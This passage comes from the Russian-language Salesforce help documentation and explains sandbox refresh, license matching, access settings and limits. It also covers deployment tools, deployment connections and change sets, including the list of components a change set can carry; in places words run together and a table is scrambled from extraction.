• Некоторыетипыбезопасныхсреднедоступны, еслидостигнутоограничениеорганизации. Например, еслиорганизация
ограничена одной безопасной средой Full sandbox, и уже имеется одна полная безопасная среда, создать еще одну
безопасную среду Full sandbox невозможно. При необходимости обновите существующую безопасную среду Full
sandbox.

• Когда работа в безопасной среде завершена, ее можно обновить. Этот процесс заменяет текущую безопасную среду
новой копией производственной организации.

• В случае уменьшения количества лицензий безопасных сред в организации, рядом с существующими безопасными
средами появится ссылка «Удалить». Перед созданием новых безопасных сред удалите существующую безопасную
среду.

• Подключения Salesforce-to-Salesforce, активные в безопасной среде, должны быть деактивированы и повторно
активированы после обновления безопасной среды. Подключения и соотнесения не подлежат копированию в
обновленную безопасную среду.

Сопоставление лицензий производственной среды
Система позволяет сопоставлять предоставленные лицензии производственной среды с безопасной организацией без
обновлениябезопаснойсреды. Служба сопоставленияобновляет количестволицензийбезопаснойсредыв соответствии
сколичествомвпроизводственнойсреде, добавляет кбезопаснымсредамнедостающееколичестволицензий, илиудаляет
лицензии, которых нет в производственной среде.

Чтобы обновить количество лицензий, войдите в безопасную среду. Введите строку «Сведения о компании» в поле
«Быстрый поиск» в меню «Настройка», затем выберите пункт «Сведения о компании» ищелкните «Сопоставить
лицензиипроизводственнойсреды». Отобразитсяпредупреждениеоначалепроцессасопоставления. Послезавершения
сопоставлениявсехлицензийвбезопаснойсредебудетотправленоуведомлениепо эл. почте. Данное уведомлениевсегда
отправляется пользователю, инициировавшему копирование лицензии.

Сопоставление лицензий производственной среды требует использования одного выпуска Salesforce в безопасной и
производственнойсредах. Еслибезопасная средаобновленадоследующейверсии, например, вовремяознакомительного
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периода для безопасной среды, а производственная среда работает на предыдущей версии, сопоставление лицензий
недоступно.

Средство сопоставления лицензийпроизводственной средынедоступно для пробных организаций. Для использования
этого средства необходимо полномочие «Изменение всех данных».

Настройка безопасных сред Full Sandbox
После создания или обновления безопасной среды Full sandbox можно настроить ее и указать копируемые данные.
Сокращение объема копируемых данных может ускорить время копирования безопасной среды.

• Параметры «Журналобъекта», «Журналобращения»и «Журналвозможности»позволяют выбрать количество
днейдля копированияданныхизпроизводственнойорганизациивбезопаснуюсреду. Копированиеданныхдоступно
в промежутке от 0 до 180 дней; шаг копирования составляет 30 дней. Значение по умолчанию — 0 дней.

• По умолчанию данные Chatter не копируются в безопасную среду. К данным Chatter относятся ленты и сообщения.
Установите флажок «Копировать данные Chatter», чтобы копировать их.

• Контрольный журнал настройки организации производственной среды не копируется в безопасную среду.
Контрольный журнал организации в безопасной среде создается одновременно с началом ее использования.

• Архивные действия (задачи и события, недоступные в производственной организации по истечении одного года) и
журнал паролей (предыдущие пароли пользователей) не копируются в безопасную среду.

Прим.: Рекомендуем увеличивать стандартные ограничения только в исключительных случаях. Большие объемы
данных могут существенно увеличить время копирования безопасной среды.

Доступ к безопасным средам
• Просмотрите изменения для пользователей безопасной среды.

– Обновление безопасной среды инициирует удаление и повторное создание безопасной среды в качестве новой
копии производственной организации. Фактически данное действие отменяет любые изменения параметров
доступа, выполненные вручную. Пользователи, созданные только для работы в безопасной среде, будут удалены,
а профилю и полномочиям пользователя будут присвоены значения, используемые в производственной
организации. После обновления необходимо изменить настройки доступа в новой копии.

– Пользователи, созданныевпроизводственнойорганизациикакнеактивные, могутбытьактивированывбезопасной
среде. Данный алгоритм позволяет создавать пользователя, которому предоставляются соответствующие
полномочия на разработку в безопасной среде.

– Многие задачи по разработке и тестированию требуют наличия полномочия «Изменение всех данных». Если
разработчики не имеют такого полномочия в организации производственной среды, добавьте его в безопасной
среде. Рекомендуем быть особенно внимательными при предоставлении данного полномочия в безопасных
организациях, содержащих конфиденциальные данные, скопированные из производственной организации
(например, номера социального обеспечения).

– Пользователям, добавленнымворганизациюпроизводственнойсредыпослесозданияилиобновлениябезопасной
среды, непредоставляетсядоступкбезопаснымсредам, связаннымсэкземпляроморганизациивпроизводственной
среде. Чтобы создать пользователей в безопасной среде, рекомендуем выполнить вход от имени администратора
организации в безопасной среде, а затем создать пользователей в экземпляре безопасной среды.

– Пользователи, созданные для разработки безопасной среды, учитываются как лицензированные пользователи
организации. Чтобысократитьколичестволицензий, отключитепользователейорганизациивпроизводственной
среде, которым не требуется доступ к безопасной среде, перед созданием или обновлением безопасной среды.
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• Рекомендуем всегда выполнять вход в безопасную организацию посредством URL-адреса входа
https://test.salesforce.com.

• Рекомендуемвыполнятьвходпосредствомизмененногоименипользователя (см. подраздел «Пользователииконтакты»
на странице 5891).

• ПрииспользованииAPIрекомендуемиспользоватьпосле входа URL-адресперенаправления, возвращаемыйвобъекте
loginResult для последующего доступа. Данный URL-адрес отражает экземпляр, используемый для размещения
безопасной среды, и соответствующий пул серверов для API-доступа.

• Копии безопасной среды создаются с отключенной интегрированной проверкой подлинности на основе SAML.
Сведенияоконфигурации, кроме значенияполя «URL-адрес входа Salesforce», сохраняются. Поле «URL-адрес
входа Salesforce» обновляется для соответствия URL-адресу безопасной среды (например,
http://cs1.salesforce.com) после повторного включения SAML. Чтобы включить SAML в безопасной среде,
введите строку «Параметры единой регистрации» в поле «Быстрый поиск» вменю «Настройка», затем выберитепункт
«Параметры единой регистрации», щелкните «Правка» и установите флажок «SAML включен».Измените
значение поля «URL-адрес входа Salesforce» в сертификате клиентского приложения.

Примечания к ограничениям для безопасных сред
Безопасныесредынеотправляютэлектронныеуведомленияпридостиженииустановленныхограничений. Темнеменее,
при достижении ограничения по объему хранилища безопасной среды сохранение новых данных не поддерживается.
Чтобы просмотреть ограничение по объему хранилища, введите строку «Использование хранилища» в поле «Быстрый
поиск» вменю «Настройка», затемвыберитепункт «Использованиехранилища» в соответствующейбезопаснойсреде.

Изменения настроек и данных
• Изменения настроек и данных организации в производственной среде не переносятся автоматически в безопасные

среды. Создайте или обновите безопасную среду, чтобы включить актуальные настройки организации.

• Добавление, редактированиеиудалениеApexпосредствомпользовательскогоинтерфейсаSalesforceдоступнотолько
организациям Developer Edition и безопасным организациям. Производственная организация Salesforce позволяет
изменять Apex только посредством вызова compileAndTestAPI().

• Если версия безопасной среды соответствует версии Force.com AppExchange, выполните указанные ниже действия.

– Установите и разверните приложения из каталога Force.com AppExchange в безопасную среду.

– Опубликуйте приложения из безопасной среды в каталог Force.com AppExchange.

Рекомендуетсяизбегатьпубликацииуправляемыхпакетовиз безопаснойсреды Force.com, так как обновлениеили
удаление безопасной среды блокирует управляемый пакет от любых изменений.

Версия безопасной среды может отличаться от версии Force.com AppExchange при приближении времени выпуска
Salesforce. Чтобыпросмотреть сведенияоверсии, воспользуйтесьлоготипомвверхнемлевомуглуначальнойстраницы
безопасной среды.

• Если организация использует безопасную среду Developer Pro Sandbox, то шаблоны сметы, содержащие поля
«Текст/изображение», не могут быть открыты для редактирования в безопасной среде.

• Еслипроизводственнаяорганизацияиспользуетизображениевшаблонахсметы, апользователькопируеторганизацию
в безопасную среду, то путь к изображению будет поврежден, а изображение будет отображаться как поврежденная
ссылка. Чтобы добавить изображение, повторно вставьте изображение в нужную область безопасной среды.

5895

Советы и рекомендации по настройке безопасной средыРазвертывание дополнительных возможностей посредством
безопасных сред



Исключения обслуживания
• Ниже перечислены отключенные функции, которые не могут быть включены в безопасных средах.

– Предупреждения об истечении срока действия контрактов

– Расширение обращений

Предупреждения об истечении срока действия контрактов и расширение обращений отключены, так как они
автоматически отправляют сообщения эл. почты контактам, клиентам и пользователям организации в
производственной среде.

– Сводные данные по подписке

– Экспорт данных (по нажатию «Экспортировать сейчас» или «Запланировать экспорт» на странице «Еженедельный
экспорт» в меню «Настройки»)

– Возможность создания безопасных сред Salesforce

– Возможность копирования адресов службы электронной почты, созданных в безопасной среде, в организацию
в производственной среде

– Возможность публикации сайтов Site.com.

Другие различия
• Прикопированиивбезопасныесредыподдерживаютсятольконастраиваемыессылки, созданныекакотносительные

URL-адреса (например, /00Oz0000000EVpU&pv0={!Account_ID}). Настраиваемые ссылки, созданные как
абсолютные URL-адреса (например, https://na1.salesforce.com/00Oz0000000EVpU&pv0={!Account_ID}),
неподдерживаютсябезопаснымисредамиорганизации. Рекомендуемиспользоватьвпроизводственнойорганизации
толькоотносительные URL-адреса. Впротивномслучаенеобходимоисправить URL-адреса во всех безопасных средах.

• Система Salesforce использует фоновый процесс, который удаляет безвозвратно записи корзины, хранящиеся более
15 дней. Данный процесс выполняется разными серверами в разное время, поэтому временная отметка в безопасной
среде отличается от временной отметки в производственнойорганизации. Приложения и интеграции, зависящие от
данной временной отметки, могут работать с ошибками, если сначала они подключаются к одной среде (например,
к организации в производственной среде), а затем подключаются к другой среде (например, к безопасной среде).
Помните об этом при разработке приложений и интеграций, зависящих от данной временной отметки.

Обратитевнимание, чтовремяпоследнеговыполненияфоновогопроцессаудалениядоступнопосредствомAPI-вызова
getDeleted().

• Операции копирования и обновления безопасной среды поддерживают связанные приложения, установленные
посредством установки пакета (например, связанные приложения из каталога AppExchange). Тем не менее, операции
копирования и обновления безопасной среды не поддерживают копирование связанных приложений, созданных в
производственной организации.

При использовании связанных приложений, созданных в производственной организации, рекомендуем удалять
связанныеприложенияизбезопаснойсредыпосле завершенияоперациикопированияилиобновления. Затемданные
приложения могут быть восстановлены в безопасной среде в соответствии с конфигурацией организации в
производственнойсреде. Новое связанноеприложениевбезопаснойсреденеможетиспользоватьAPI-имясвязанного
приложения (значение, соответствующее полю fullName в интерфейсе Metadata API).

• При наличии поставщиков проверки подлинности Salesforce, настроенных в выпуске Summer'14 или ранее,
удостоверение пользователя, предоставленное безопасной организацией, не содержит кода организации. Таким
образом, целевая организация не может различать пользователей с одинаковым кодом из двух источников (таких как
две безопасные среды). Чтобы различать пользователей из разных источников, измените текущие параметры
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поставщикапроверкиподлинностиSalesforce вцелевойорганизациииустановитефлажок «Добавитькодорганизации
для связывания стороннейорганизации». Когда этафункция включена, пользователидолжныповторноподтвердить
связь со сторонними ссылками. По умолчанию данный параметр включен для поставщиков проверки подлинности
Salesforce, созданных в выпуске Winter'15 и более поздних выпусках.

• После завершения обновления безопасной среды организации пользователь автоматически получает полномочия
входа в безопасную среду на 10 лет, начиная с даты обновления безопасной среды, при выполнении указанных ниже
условий.

– Пользователь является системным администратором.

– Пользователь копируется в безопасную среду из производственной организации, а не создается в безопасной
среде напрямую.

• Чтобы выполнить вход от имени любого пользователя, откройте безопасную среду посредством
test.salesforce.com. Возможность входа от имени любого пользователя не поддерживается при получении
доступа к безопасной среде из производственной среды посредством ссылки входа.

СМ. ТАКЖЕ:

Создание или обновление безопасной среды

Общие сведения о безопасных средах

Общие сведения о типах безопасных сред

Общие сведения об истечении срока действия лицензий на безопасную среду

Развертывание изменений

Общие сведения о развертывании
Переносите изменения в метаданных между организациями с помощью доступных в настройках инструментов
развертывания.

Для доступа к этим страницам воспользуйтесь полем «Быстрый поиск».

Параметры развертывания
Наборы изменений могут использоваться только при наличии развертываемого подключения. Полномочия
подключения для наборов входящих и исходящих изменениймогут быть определены на странице «Развертываемые
подключения».

Статус развертывания
Отслеживание хода выполнения развертывания с помощьюMetadata API.

Наборы исходящих изменений
Загрузка изменений, внесенных в текущую организацию, в другую организацию.

Наборы входящих изменений
Принятие, изменение или отклонение наборов изменений, загруженных из других организаций.

СМ. ТАКЖЕ:

Наборы изменений

Отслеживание развертываний
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Выбор инструментов для разработки и развертывания изменений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Performance Edition,
Unlimited Edition,
Developer Edition,
Enterprise Edition и
Database.com Edition.

Система позволяет администраторам, использующим интерактивные инструменты, и
разработчикам кода выбирать нужныйинструмент, применять изменения в безопасной
средеиразворачивать готовыеизменениявпроизводственнойорганизации. Безопасная
среда позволяет настраивать и кодировать изменения организации посредством как
минимум одного инструмента, поддерживаемого системой Salesforce.

Разработка и развертывание Apex на консоли разработчика

Разработка и развертывание посредством Force.com IDE

Разработка и развертывание посредством SOAP API

Развертывание посредством Force.com Migration Tool

Развертывание посредством наборов изменений

СМ. ТАКЖЕ:

Добро пожаловать, администраторы интерактивной системы Salesforce!

Добро пожаловать, разработчики Salesforce!

Разработка и развертывание Apex на консоли разработчика

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Performance Edition,
Unlimited Edition,
Developer Edition,
Enterprise Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для использования
инструмента развертывания
Apex:
• «Автор Apex»

Консоль разработчика — это интегрированная среда разработки, предоставляющая
доступ к набору инструментов, позволяющих создавать, отлаживать и тестировать
приложения в организации Salesforce.

СМ. ТАКЖЕ:

Открытие консоли разработчика

Использование консоли разработчика
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Разработка и развертывание посредством Force.com IDE

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Performance Edition,
Unlimited Edition,
Developer Edition,
Enterprise Edition и
Database.com Edition.

При необходимости загрузите инструмент Force.com IDE, предназначенный для
кодирования проектов организации. Данный инструмент позволяет компилировать и
тестировать созданный код, синхронизировать изменения в безопасной среде и
разворачивать код в производственной организации.

Дополнительную информацию см. на странице Force.com IDE.

Прим.: Force.com IDE — это бесплатный ресурс, предоставляемый компанией
Salesforce для поддержки пользователей и партнеров. Согласно Основному
соглашению о подписке, данный ресурс не относится к службам Salesforce.

СМ. ТАКЖЕ:

Разработка и развертывание посредством SOAP API

Выбор инструментов для разработки и развертывания изменений

Разработка и развертывание посредством SOAP API

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Performance Edition,
Unlimited Edition,
Developer Edition,
Enterprise Edition и
Database.com Edition.

ИнтерфейсSOAP APIможетиспользоватьсядляразработкииразвертыванияпрограммным
способом изменений в организации разработки или безопасной организации.

Дополнительную информацию о SOAP API и других интерфейсах API см. в Руководстве
разработчика SOAP API.

СМ. ТАКЖЕ:

Выбор инструментов для разработки и развертывания изменений
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Развертывание посредством Force.com Migration Tool

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Performance Edition,
Unlimited Edition,
Developer Edition,
Enterprise Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для использования средства
развертывания Apex:
• «Автор Apex»

Загрузите Force.com Migration Tool, чтобы использовать средство сборки Apache Ant для
выполнения пофайлового развертывания изменений метаданных и классов Apex из
организации Developer Edition или безопасной организации в производственной
организации.

Чтобы загрузить Force.com Migration Tool, выполните указанные ниже действия.

1. В разделе Установка введите «Сервис» в поле «Быстрый поиск», затем выберите
«Сервис».

2. Щелкните ссылку «Force.com Migration Tool».

3. Сохраните архивныйфайл salesforce_ant.zip, а затем извлеките его
содержимое в нужной папке.

Архив salesforce_ant.zip содержитфайлы, необходимыедлявыполнениязадачи
Ant, использующей API-вызов compileAndTest, а именно:

• Файл Readme.html, содержащий инструкции по использованию данного
инструмента

• JAR-файл, содержащий задачу Ant: ant-salesforce.jar

• Образец папки со следующим содержимым:

– Папка codepkg\classes, содержащая классы SampleDeployClass.cls
и SampleFailingTestClass.cls

– Папка codepkg\triggers, содержащая триггер SampleAccountTrigger.trigger

– Папка mypkg\objects, содержащая настраиваемые объекты, используемые в примерах

– Папка removecodepkg, содержащая XML-файлы, необходимые для удаления примеров из организации

– Файл-пример build.properties, которыйдолженбытьдополненсобственнымирегистрационнымиданными,
необходимыми для выполнения примеров и задач в файле build.xml

– Файл-пример build.xml, использующий API-вызовы deploy и retrieve

Прим.: Force.com Migration Tool — это бесплатный ресурс, предоставляемый компанией Salesforce для поддержки
пользователей и партнеров. СогласноОсновному соглашениюо подписке, данный ресурс не относится к службам
Salesforce.

СМ. ТАКЖЕ:

https://developer.salesforce.com/docs/atlas.en-us.daas.meta/daas/

Выбор инструментов для разработки и развертывания изменений
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Развертывание посредством наборов изменений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Database.com Edition.

Доступно в версии
Professional Edition при
приобретении безопасной
среды.

Бизнес-процессы, правила, классы и триггеры Apex, а также другие настройки, могут
быть развернуты из безопасной организации в производственной организации. Набор
исходящих изменений может быть создан в пользовательском интерфейсе Salesforce и
дополнен компонентами, которые должны быть загружены и развернуты в целевой
организации. Чтобы получить доступ к наборам изменений, введите строку «Исходящие
наборы изменений» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт
«Исходящие наборы изменений».

СМ. ТАКЖЕ:

Наборы изменений

Выбор инструментов для разработки и развертывания изменений

Связывание организаций для развертывания

Подключения и параметры развертывания

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования
развертываемых
подключений:
• «Развертывание наборов

изменений»

Наборыизменениймогут быть отправленыиз одной организации в другую только при
наличии развертываемого подключения между организациями. Развертываемые
подключения не могут создаваться между случайными организациями; развертываемое
подключение создается между всеми организациями, присоединенными к
производственнойорганизации. Например, приналичиипроизводственнойорганизации
(«производство») идвухбезопасныхсред («разработка» и «тестирование») развертываемое
подключение создается между производственной организацией и каждой безопасной
средой («производство — разработка» и «производство — тестирование»), а такжемежду
безопасными средами («разработка — тестирование»).

Развертываемоеподключениесамопосебенеинициируетотправкунаборовизменений
между организациями. Каждая организация должнаиметь разрешениена отправку иприемнаборовизменений. Данный
дополнительныйуровеньбезопасностиприменяетпутипродвижениякодаипозволяет защититьметаданныенастройки
организаций от ошибочной перезаписи.

Например, рисунок ниже демонстрирует один возможный путь миграции для производственной организации и двух
безопасныхсред. Вданномпримерепроизводственнаяорганизацияможетприниматьтолькополностьюпротестированные
изменения, поэтому только безопасная среда «Тестирование» может загружать наборы изменений в производственную
организацию. Чтобы синхронизировать проекты разработки с производственной организацией, организация
«Производство» может отправить наборы изменений в безопасную среду «Разработка», но не в безопасную среду
«Тестирование». Кроме того, разрабатываемые функции должны тестироваться повторно, поэтому безопасным средам
«Разработка» и «Тестирование» должнобытьпредоставленоправонаотправкунаборовизмененийвобоихнаправлениях.
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Применение ветви кода авторизацией набора изменений

Прим.: Данныйпримердемонстрируетодинвозможныйпутьмиграциикода. Отделыкомпаниидолжнысоздавать
собственные политики по отправке и получению наборов изменений между организациями.

Параметры развертывания
Чтобы избежать ошибки развертывания при использовании компонентов заданиями Apex, щелкните «Разрешить
развертывания компонентов при назначении соответствующим заданиям Apex статуса отложенных или
выполняемых»инажмитекнопку «Сохранить». Данныйпараметрпозволяетразворачиватькомпоненты, используемые
отложеннымииливыполняемымизаданиямиApex, включая запланированныезадания, пакетные заданияиметоды future.
Данный параметр применяется к наборам изменений и развертываниям, запущенным посредством Metadata API.

Прим.:

• Включение данного параметра может препятствовать выполнению заданий Apex ввиду применения
неподдерживаемых изменений.

• ДанныйпараметрневлияетнапроцессыредактированияисохранениякодаApex впользовательскоминтерфейсе
Salesforce (меню «Настройка» или консоль разработчика), которые не выполняются при наличии активных
заданий, связанных с классом Apex. Обновление кода Apex посредством Force.com IDE может быть выполнено
после включения данного параметра, так какMetadata API используется при обновлении кода.

СМ. ТАКЖЕ:

Развертывание набора изменений

Просмотр доступных развертываемых подключений

Авторизация развертываемого подключения

Просмотр сведений о развертываемом подключении

Авторизация развертываемого подключения
Наборизмененийможет быть отправлениз другойорганизации в текущуютолькопосле авторизациинабора входящих
изменений.

1. Введите строку «Развертывание» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Параметры
развертывания», затем нажмите кнопку «Продолжить».
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2. Щелкните ссылку «Правка» напротив нужной организации.

3. Установите флажок «Разрешить входящие изменения».

4. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Просмотр доступных развертываемых подключений

Просмотр сведений о развертываемом подключении

Подключения и параметры развертывания

Просмотр доступных развертываемых подключений
Развертываемое подключение позволяет копировать настройки одной организации в другую. Список развертываемых
подключений содержит организации, которые могут загружать изменения в даннуюорганизацию, а также организации,
которые позволяют данной организации загружать изменения.

Чтобыпросмотретьдоступныеподключения, введитестроку «Развертывание» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Состояние развертывания».

Действие
Щелкните ссылку «Правка» напротив нужной организации.

Имя
Список организаций, имеющих развертываемые подключения к текущей организации. Чтобы просмотреть
дополнительную информацию о подключении, щелкните имя нужной организации.

Описание
Краткое описание подключенных организаций.

Тип
Тип подключенной организации. Возможные значения: производственная среда, полная копия, исключительно
конфигурационная безопасная среда и безопасная среда разработчика.

Загрузить направление авторизации
Стрелки показывают возможные направления загрузок. Прерывистая линия указывает на запрет передачи наборов
изменений в любом направлении. Чтобы разрешить подключенной организации отправку наборов входящих
изменений, измените развертываемое подключение для данной организации. Чтобы отправить наборы исходящих
изменений в подключеннуюорганизацию, администратор данной организации должен изменить соответствующее
подключение.

СМ. ТАКЖЕ:

Авторизация развертываемого подключения

Просмотр сведений о развертываемом подключении

Подключения и параметры развертывания

Просмотр сведений о развертываемом подключении
Развертываемое подключение позволяет копировать настройки одной организации в другую. Список развертываемых
подключений содержит организации, которые могут загружать изменения в даннуюорганизацию, а также организации,
которые позволяют данной организации загружать изменения.
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Чтобы просмотреть сведения о подключении, выполните указанные ниже действия.

1. Введите строку «Развертывание» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Параметры
развертывания».

2. Щелкните имя нужной организации.

Имя
Имя выбранной организации. Данная организация не является текущей.

Описание
Краткое описание организации.

Тип
Тип подключенной организации. Возможные значения: Production, Full, Partial Copy, Developer Pro и Developer.

Разрешить входящие изменения
Данныйпараметрпозволяет выбраннойорганизацииотправлятьнаборыизмененийвтекущуюорганизацию. Данное
поле доступно только для чтения и может быть изменено только путем выбора параметра «Разрешить входящие
изменения» в целевой организации.

Принять исходящие изменения
Данный параметр позволяет выбранной организации принимать наборы изменений, отправленные текущей
организацией.

СМ. ТАКЖЕ:

Авторизация развертываемого подключения

Просмотр доступных развертываемых подключений

Подключения и параметры развертывания
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Наборы изменений

Наборы изменений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Database.com Edition.

Доступно в версии
Professional Edition при
приобретении безопасной
среды.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования
развертываемых
подключений:
• «Развертывание наборов

изменений»

Для использования наборов
исходящих изменений:
• «Создание и загрузка

наборов изменений»,

«Создание пакетов
AppExchange»

И

«Передача пакетов
AppExchange»

Для использования наборов
входящих изменений:
• «Развертывание наборов

изменений»

Настройка сведений об организации с помощью наборов изменений.

Рекомендуем использовать наборы изменений для отправки настроек из одной
организациивдругую. Например, пользовательможетсоздатьипротестироватьобъект
в безопасной организации, а затем отправить данный объект в производственную
организацию посредством набора изменений. Наборы изменений могут содержать
только изменения, выполняемые посредством меню «Настройка». Например, набор
изменений не может использоваться для загрузки списка записей контактов. Наборы
изменений содержат сведения об организации. Они не содержат данные (например,
записи).

Чтобы отправить настройки из текущей организации в другую организацию, создайте
набор исходящих изменений. Отправленный набор изменений является набором входящих
изменений для принимающей организации.

Набор изменений может быть отправлен из одной организации в другую только при
наличииразвертываемогоподключения. Наборыизменениймогутотправляться только
междуорганизациями, присоединеннымикпроизводственнойорганизации. Например,
производственнаяорганизацияибезопасная средаилидвебезопасныесреды, созданные
на основе одной организации, могут отправлять или принимать наборы изменений.

СМ. ТАКЖЕ:

Наборы входящих изменений

Наборы исходящих изменений

Компоненты, доступные в наборах изменений

Особый алгоритм в развертываниях
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Общие сведения о наборах полномочий и параметрах профиля в наборах изменений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Database.com Edition.

Наборы полномочий и параметры профиля позволяют разработчикам указывать
полномочияидругиепараметрыдоступа внабореизменений. Преждечемиспользовать
наборыполномочий, параметрыпрофиляилиобакомпонента, рекомендуемсопоставить
их сходства и различия.

Параметры профиляНаборы полномочийАлгоритм

Добавленные полномочия
и параметры

•• Параметры вкладкиПолномочия
стандартного объекта • Назначения макета

страницы• Полномочия
стандартного поля • Назначениятипазаписи

• Полномочия
пользователя

• Диапазоны IP-адресов
входа

(например, «API
включен»)

• Полномочия
пользователя

Прим.: Назначенные
приложения и
параметрывкладки не
добавляются в
компоненты набора
полномочий.

Добавленные полномочия
и параметры, требующие

• Назначенные
приложения

• Полномочия
настраиваемогообъекта

установки опорных
компонентов •• Полномочия

настраиваемогообъекта
Полномочия
настраиваемого поля

• Доступ к классу Apex • Полномочия
настраиваемого поля• Доступ к странице

Visualforce • Доступ к классу Apex

• Доступ к странице
Visualforce

Нет. Профилидобавляются
как отдельный параметр.

ДаДобавлено как компонент?

Рекомендуем всегда добавлять опорные компоненты в набор изменений для полномочий настраиваемого объекта,
полномочий настраиваемого поля, доступа к странице Visualforce и доступа к классу Apex. Например, полномочия для
настраиваемого объекта «Элементы» добавляются только при добавлении объекта «Элементы».
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Прим.: Диапазоны IP-адресов входа, добавленные в параметры профиля, переопределяют диапазоны IP-адресов
входа для любого соответствующего профиля в целевой организации.

СМ. ТАКЖЕ:

Наборы входящих изменений

Наборы исходящих изменений

Компоненты, доступные в наборах изменений
Ниже перечислены типы компонентов, которые могут быть добавлены в набор изменений.

Прим.:

• Компоненты, доступные для набора изменений, определяются используемой версией системы и стилем
использования. Кроме того, некоторые компоненты требуют включения соответствующихфункций в
организации.

• Созданныеилиизмененныекомпоненты, которыенедоступнывнабореизменений, нельзяотправлятьизодной
организации в другую посредством набора изменений. В данном случае изменения должны переноситься
вручную путем повторения действий, выполненных при создании или изменении компонента.

• Списковые представления доступны всем пользователям при развертывании набора изменений. При
необходимости их доступность может быть изменена в целевой организации.

• По умолчанию развернутые настраиваемые вкладки скрыты от всех пользователей. Они отображаются только
при условии, что набор изменений содержит профили, которые определяют свойство доступности
соответствующимобразом. Исключениемявляютсяорганизации Professional Edition, которыевсегдаотображают
развернутые настраиваемые вкладки по умолчанию.

• Правило общего доступа на основе критериев для организации

• Правило общего доступа к ответственному за организацию

• Правило общего доступа к ответственному за территорию организации

• Действие (включая объектные и глобальные быстрые действия)

• Шаблон группы ссылок действий

• Отчетный снимок

• Класс Apex

• Причина общего доступа к Apex

• Триггер Apex

• Приложение

• Процесс утверждения (с некоторыми ограничениями)

• Правило назначения

• Поставщик проверки подлинности

• Правило автоматического ответа

• Кнопка или ссылка

• Центр обработки вызовов

• Правило общего доступа на основе критериев для кампании

• Правило общего доступа к ответственному за кампанию
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• Правило общего доступа на основе критериев для обращения

• Правило общего доступа к ответственному за обращение

• Сообщества (зоны)

• Компактный макет

• Правило общего доступа на основе критериев для контакта

• Правило общего доступа к ответственному за контакт

• Происхождение списка разрешенных CORS

• Тип настраиваемых данных

• Настраиваемое поле

• Настраиваемая метка (Метки стандартных объектов, не поддерживающие переименование. Дополнительную
информацию см. в разделе «Настраиваемые метки».)

• Настраиваемый объект

• Правило общего доступа на основе критериев для настраиваемого объекта

• Правило общего доступа к ответственному за настраиваемый объект

• Тип настраиваемого отчета

• Настраиваемый параметр

• Панель мониторинга

• Документ

• Шаблон эл. почты

• Процесс права

• Шаблон права

• Внешний источник данных

• Правило расширения

• Набор полей

• FlowDefinition

• Папка

• Группа

• Компонент начальной страницы

• Макет начальной страницы

• Фирменный бланк

• Языковой перевод

• Правило общего доступа на основе критериев для интереса

• Правило общего доступа к ответственному за интерес

• Страница Lightning

• Списковое представление

• Конфигурация Live Agent

• Развертывание Live Chat

• Правило для конфиденциальных данных Live Chat

• Правило соответствия

• Контрольная точка
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• Именованные регистрационные данные

• Правило общего доступа на основе критериев для возможности

• Правило общего доступа к ответственному за возможность

• Макет страницы

• Набор полномочий

• Разделение кэша платформы

• Шаблоны сообщения для функции «Утверждения в Chatter»

• Очередь

• Тип записи

• Удаленный узел

• Отчет

• Роль

• S-Control

• Действие отправки

• Набор для общего доступа

• Site.com

• Статический ресурс

• Вкладка

• Территория

• Политика безопасности транзакций

• Правило общего доступа на основе критериев для пользователя

• Правило общего доступа на основе принадлежности пользователя

• Правило проверки

• Компонент Visualforce

• Страница Visualforce

• Приложение Wave

• Набор данных Wave

• Электронное предупреждение бизнес-правила

• Обновление поля бизнес-правила

• Исходящее сообщение бизнес-правила

• Бизнес-правило

• Задача бизнес-правила

• Триггер времени бизнес-правила

СМ. ТАКЖЕ:

Проверка набора изменений

Создание набора исходящих изменений

Выбор компонентов для набора исходящих изменений

Особый алгоритм в развертываниях
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Ограничения для процессов утверждения в наборах изменений
Прежде чем добавить процессы утверждения в наборы изменений, просмотрите перечисленные ниже ограничения.

• Если страница утверждения содержит настраиваемые поля стандартных объектов, то данные настраиваемые поля
должны быть вручную добавлены в наборы исходящих изменений. Данные поля не добавляются параметром
«Просмотр и добавление зависимостей» для выбора компонентов набора изменений.

• Если процесс утверждения ссылается на любые шаблоны сообщения, содержащие настраиваемые поля, то данные
шаблоны сообщения могут быть добавлены в набор изменений только после их повторного сохранения в исходной
организации. В разделе «Настройка» введите «Шаблоны сообщений» в поле «Быстрый поиск», затем выберите
«Шаблоны сообщений». Щелкните ссылку «Правка» напротив каждого шаблона сообщения и нажмите кнопку
«Сохранить».

• Наборы изменений не поддерживают порядок отображения активных процессов утверждения из исходной
организации. При необходимости измените порядок отображения развернутых процессов утверждения в целевой
организации.

• Изменениеполя «Уникальное имя» процесса утверждения, добавленноговнаборизмененийиразвернутоговдругой
организации, и повторная отправка процесса утверждения посредством набора изменений инициируют создание
процесса утверждения при развертывании в другой организации. Процесс утверждения, развернутый ранее, не будет
изменен.

Советы по внедрению наборов изменений
Загрузка изменений требует наличия авторизации

Прежде чем развернуть набор изменений из одной организации в другую, администратор целевой организации
должен авторизовать загрузки, используемые развертываемым подключением, между двумя организациями.

